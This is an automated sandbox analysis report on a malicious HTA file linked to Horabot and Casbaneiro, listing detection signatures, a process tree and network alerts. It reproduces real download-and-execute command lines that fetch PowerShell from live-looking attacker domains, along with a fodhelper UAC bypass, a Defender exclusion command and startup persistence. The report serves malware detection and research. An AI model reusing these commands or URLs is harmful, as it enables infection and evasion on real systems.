Edit tour

Windows Analysis Report
copia111224mp.hta

Overview

General Information

Sample name:	copia111224mp.hta
Analysis ID:	1573649
MD5:	bb2a7b90e374742198a5c1e6abd6efa6
SHA1:	d26a90b5dad06d1a5fb5e5706fb502750f4fedf9
SHA256:	f178a97f40b1024df4065b028ca58705113b4b4b72566bc1f2d3cb5eb7eb779f
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Sigma detected: Powershell Download and Execute IEX

Sigma detected: TrustedPath UAC Bypass Pattern

Suricata IDS alerts for network traffic

UAC bypass detected (Fodhelper)

Yara detected Powershell download and execute

Adds a directory exclusion to Windows Defender

Drops executables to the windows directory (C:\Windows) and starts them

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Powershell creates an autostart link

Powershell drops PE file

Sigma detected: Bypass UAC via Fodhelper.exe

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Download and Execute Pattern

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Uses shutdown.exe to shutdown or reboot the system

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Office Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Shutdown

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Process Tree

System is w10x64native

mshta.exe (PID: 1524 cmdline: mshta.exe "C:\Users\user\Desktop\copia111224mp.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

curl.exe (PID: 4228 cmdline: "C:\Windows\System32\curl.exe" -o "C:\Wins32Update_\up.cmd" "https://firebasestorage.googleapis.com/v0/b/ola445.appspot.com/o/bt?alt=media&token=a5082314-a2a5-435c-8ef5-198776034a00" MD5: 4329254E74AD91D047E3CEDCC7C138C3)

conhost.exe (PID: 1936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4416 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5192 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 6996 cmdline: powershell.exe -nop -win 1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

shutdown.exe (PID: 8760 cmdline: "C:\Windows\system32\shutdown.exe" /r /t 10 MD5: FCDE5AF99B82AE6137FB90C7571D40C3)

cmd.exe (PID: 8364 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_zayqgx5_K.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 8432 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/up/up') " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 8440 cmdline: powershell.exe -nop -win 1 - MD5: 04029E121A0CFA5991749937DD22A1D9)

_nczuwk7_Hi7.exe (PID: 8828 cmdline: "C:\_nczuwk7_H\_nczuwk7_Hi7.exe" MD5: 4AFCAB972E98ECBF855F915B2739F508)

conhost.exe (PID: 8836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

fodhelper.exe (PID: 8956 cmdline: "C:\Windows \System32\fodhelper.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

_nczuwk7_Hi7.exe (PID: 9072 cmdline: "C:\_nczuwk7_H\_nczuwk7_Hi7.exe" MD5: 4AFCAB972E98ECBF855F915B2739F508)

conhost.exe (PID: 9092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 9176 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_nczuwk7_H" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 9184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

WmiPrvSE.exe (PID: 5252 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

WerFault.exe (PID: 1256 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 9072 -s 1208 MD5: 40A149513D721F096DDF50C04DA2F01F)

WerFault.exe (PID: 9064 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8828 -s 1196 MD5: 40A149513D721F096DDF50C04DA2F01F)

shutdown.exe (PID: 8132 cmdline: "C:\Windows\system32\shutdown.exe" /r /t 10 MD5: F2A4E18DA72BB2C5B21076A5DE382A20)

cmd.exe (PID: 7776 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_nczuwk7_H.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1804 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/up/up') " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 2724 cmdline: powershell.exe -nop -win 1 - MD5: 04029E121A0CFA5991749937DD22A1D9)

_nczuwk7_H.exe (PID: 4520 cmdline: "C:\_nczuwk7_H\_nczuwk7_H.exe" C:\_nczuwk7_H\_nczuwk7_H.at MD5: 0ADB9B817F1DF7807576C2D7068DD931)

cmd.exe (PID: 4788 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_nczuwk7_Hy.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4816 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/au/au') " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 5268 cmdline: powershell.exe -nop -win 1 - MD5: 04029E121A0CFA5991749937DD22A1D9)

OUTLOOK.EXE (PID: 7220 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding MD5: 6BE14F2DEA2AB6B01387EC38C4977F4F)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
\Device\ConDrv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\_nczuwk7_H\_nczuwk7_H.ia.a1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000022.00000003.153580650154.000000000407D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000022.00000003.153581335000.0000000004076000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000022.00000003.153580423847.0000000003F6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000022.00000003.153580893069.0000000004077000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000022.00000003.153583371908.0000000003B25000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000022.00000003.153582564298.000000000418B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000022.00000003.153582817502.0000000003C37000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000022.00000003.153581113721.0000000004181000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000022.00000003.153581536572.0000000003E5B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000022.00000003.153581918930.0000000003F68000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: shutdown.exe PID: 8760	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: _nczuwk7_Hi7.exe PID: 8828	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: shutdown.exe PID: 8132	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 8 entries

Other

Source	Rule	Description	Author	Strings
amsi32_6996.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_6996.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x100cc:$b1: ::WriteAllBytes( 0xa4ca:$b2: ::FromBase64String( 0xa801:$b2: ::FromBase64String( 0xa873:$b2: ::FromBase64String( 0xa8d2:$b2: ::FromBase64String( 0xa952:$b2: ::FromBase64String( 0xa9c5:$b2: ::FromBase64String( 0xaa26:$b2: ::FromBase64String( 0xaa8a:$b2: ::FromBase64String( 0xab55:$b2: ::FromBase64String( 0xabda:$b2: ::FromBase64String( 0xac67:$b2: ::FromBase64String( 0xacf2:$b2: ::FromBase64String( 0xad9a:$b2: ::FromBase64String( 0xae31:$b2: ::FromBase64String( 0xaea4:$b2: ::FromBase64String( 0xaf8a:$b2: ::FromBase64String( 0xb0c7:$b2: ::FromBase64String( 0xb145:$b2: ::FromBase64String( 0xb1b1:$b2: ::FromBase64String( 0xb25d:$b2: ::FromBase64String(
amsi64_8440.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_8440.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x10bc5:$b1: ::WriteAllBytes( 0xa818:$b2: ::FromBase64String( 0xae4d:$b2: ::FromBase64String( 0xb192:$b2: ::FromBase64String( 0xb204:$b2: ::FromBase64String( 0xb263:$b2: ::FromBase64String( 0xb2e3:$b2: ::FromBase64String( 0xb356:$b2: ::FromBase64String( 0xb51f:$b2: ::FromBase64String( 0xb583:$b2: ::FromBase64String( 0xb64e:$b2: ::FromBase64String( 0xb6d3:$b2: ::FromBase64String( 0xb760:$b2: ::FromBase64String( 0xb7eb:$b2: ::FromBase64String( 0xb893:$b2: ::FromBase64String( 0xb92a:$b2: ::FromBase64String( 0xb99d:$b2: ::FromBase64String( 0xba83:$b2: ::FromBase64String( 0xbbc0:$b2: ::FromBase64String( 0xbc3e:$b2: ::FromBase64String( 0xbcaa:$b2: ::FromBase64String(
amsi64_2724.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_2724.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xf011:$b1: ::WriteAllBytes( 0x8c64:$b2: ::FromBase64String( 0x9299:$b2: ::FromBase64String( 0x95de:$b2: ::FromBase64String( 0x9650:$b2: ::FromBase64String( 0x96af:$b2: ::FromBase64String( 0x972f:$b2: ::FromBase64String( 0x97a2:$b2: ::FromBase64String( 0x996b:$b2: ::FromBase64String( 0x99cf:$b2: ::FromBase64String( 0x9a9a:$b2: ::FromBase64String( 0x9b1f:$b2: ::FromBase64String( 0x9bac:$b2: ::FromBase64String( 0x9c37:$b2: ::FromBase64String( 0x9cdf:$b2: ::FromBase64String( 0x9d76:$b2: ::FromBase64String( 0x9de9:$b2: ::FromBase64String( 0x9ecf:$b2: ::FromBase64String( 0xa00c:$b2: ::FromBase64String( 0xa08a:$b2: ::FromBase64String( 0xa0f6:$b2: ::FromBase64String(
amsi64_5268.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: TrustedPath UAC Bypass Pattern

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows \System32\fodhelper.exe" , CommandLine: "C:\Windows \System32\fodhelper.exe" , CommandLine|base64offset|contains: , Image: C:\Windows \System32\fodhelper.exe, NewProcessName: C:\Windows \System32\fodhelper.exe, OriginalFileName: C:\Windows \System32\fodhelper.exe, ParentCommandLine: "C:\_nczuwk7_H\_nczuwk7_Hi7.exe" , ParentImage: C:\_nczuwk7_H\_nczuwk7_Hi7.exe, ParentProcessId: 8828, ParentProcessName: _nczuwk7_Hi7.exe, ProcessCommandLine: "C:\Windows \System32\fodhelper.exe" , ProcessId: 8956, ProcessName: fodhelper.exe

Sigma detected: Bypass UAC via Fodhelper.exe

Source: Process started

Author: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community: Data: Command: "C:\_nczuwk7_H\_nczuwk7_Hi7.exe" , CommandLine: "C:\_nczuwk7_H\_nczuwk7_Hi7.exe" , CommandLine|base64offset|contains: , Image: C:\_nczuwk7_H\_nczuwk7_Hi7.exe, NewProcessName: C:\_nczuwk7_H\_nczuwk7_Hi7.exe, OriginalFileName: C:\_nczuwk7_H\_nczuwk7_Hi7.exe, ParentCommandLine: "C:\Windows \System32\fodhelper.exe" , ParentImage: C:\Windows \System32\fodhelper.exe, ParentProcessId: 8956, ParentProcessName: fodhelper.exe, ProcessCommandLine: "C:\_nczuwk7_H\_nczuwk7_Hi7.exe" , ProcessId: 9072, ProcessName: _nczuwk7_Hi7.exe

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Source: File created

Author: Christopher Peacock '@securepeacock', SCYTHE: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6996, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_K.lnk

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4416, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", ProcessId: 5192, ProcessName: cmd.exe

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_nczuwk7_H", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_nczuwk7_H", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\_nczuwk7_H\_nczuwk7_Hi7.exe" , ParentImage: C:\_nczuwk7_H\_nczuwk7_Hi7.exe, ParentProcessId: 9072, ParentProcessName: _nczuwk7_Hi7.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_nczuwk7_H", ProcessId: 9176, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" ", CommandLine: C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" ", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\copia111224mp.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 1524, ParentProcessName: mshta.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" ", ProcessId: 4416, ProcessName: cmd.exe

Sigma detected: Suspicious PowerShell Download and Execute Pattern

Source: Process started

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6996, TargetFilename: C:\users\public\computer_zayqgx5_K.cmd

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 7220, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\SearchToolbarsDisabled

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6996, TargetFilename: C:\users\public\computer_zayqgx5_K.cmd

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6996, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_K.lnk

Sigma detected: Suspicious Execution of Shutdown

Source: Process started

Author: frack113: Data: Command: "C:\Windows\system32\shutdown.exe" /r /t 10, CommandLine: "C:\Windows\system32\shutdown.exe" /r /t 10, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\shutdown.exe, NewProcessName: C:\Windows\SysWOW64\shutdown.exe, OriginalFileName: C:\Windows\SysWOW64\shutdown.exe, ParentCommandLine: powershell.exe -nop -win 1, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6996, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\shutdown.exe" /r /t 10, ProcessId: 8760, ProcessName: shutdown.exe

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4416, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", ProcessId: 5192, ProcessName: cmd.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4416, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", ProcessId: 5192, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -nop -win 1, CommandLine: powershell.exe -nop -win 1, CommandLine|base64offset|contains: z), Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4416, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -nop -win 1, ProcessId: 6996, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Powershell Download and Execute IEX

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4416, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ", ProcessId: 5192, ProcessName: cmd.exe

Suricata Signatures

ET MALWARE Horabot Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T12:56:03.068721+0100	2052642	1	A Network Trojan was detected	159.100.18.13	443	192.168.11.20	49764	TCP
2024-12-12T12:56:16.699263+0100	2052642	1	A Network Trojan was detected	93.127.200.211	443	192.168.11.20	49766	TCP
2024-12-12T12:57:01.660067+0100	2052642	1	A Network Trojan was detected	93.127.200.211	443	192.168.11.20	49774	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T12:57:39.268164+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49780	93.127.200.211	80	TCP
2024-12-12T12:57:39.887616+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49780	93.127.200.211	80	TCP

ETPRO MALWARE PowerShell Inbound with Antivirus Enumeration and Downloading Capabilities

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T12:56:03.068721+0100	2834717	1	A Network Trojan was detected	159.100.18.13	443	192.168.11.20	49764	TCP
2024-12-12T12:56:16.699263+0100	2834717	1	A Network Trojan was detected	93.127.200.211	443	192.168.11.20	49766	TCP
2024-12-12T12:57:01.660067+0100	2834717	1	A Network Trojan was detected	93.127.200.211	443	192.168.11.20	49774	TCP

ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T12:56:04.172028+0100	2841717	1	Malware Command and Control Activity Detected	192.168.11.20	49765	159.100.18.13	80	TCP
2024-12-12T12:56:17.653479+0100	2841717	1	Malware Command and Control Activity Detected	192.168.11.20	49767	159.100.18.13	80	TCP
2024-12-12T12:56:18.184711+0100	2841717	1	Malware Command and Control Activity Detected	192.168.11.20	49768	159.100.18.13	80	TCP
2024-12-12T12:57:02.387655+0100	2841717	1	Malware Command and Control Activity Detected	192.168.11.20	49775	159.100.18.13	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\Public\computer_zayqgx5_K.cmd	Avira: detection malicious, Label: BAT/Runner.VPF
Source: C:\Wins32Update_\up.cmd	Avira: detection malicious, Label: BAT/Runner.VPF
Source: C:\Users\Public\computer_nczuwk7_Hy.cmd	Avira: detection malicious, Label: BAT/Runner.VPF
Source: C:\Users\Public\computer_nczuwk7_H.cmd	Avira: detection malicious, Label: BAT/Runner.VPF
Source: C:\_nczuwk7_H\_nczuwk7_H.ia.a1	Avira: detection malicious, Label: HEUR/AGEN.1328254
Source: C:\Users\Public\computer_zayqgx5_Ky.cmd	Avira: detection malicious, Label: BAT/Runner.VPF

Privilege Escalation

UAC bypass detected (Fodhelper)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: DelegateExecute	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: NULL C:\_zayqgx5_K\_zayqgx5_Ki7.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: DelegateExecute
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: NULL C:\_nczuwk7_H\_nczuwk7_Hi7.exe

Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe

File opened: C:\_nczuwk7_H\MSVCR100.dll

Source: unknown	HTTPS traffic detected: 159.100.18.13:443 -> 192.168.11.20:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.100.18.13:443 -> 192.168.11.20:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.127.200.211:443 -> 192.168.11.20:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.127.200.211:443 -> 192.168.11.20:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.127.200.211:443 -> 192.168.11.20:49777 version: TLS 1.2

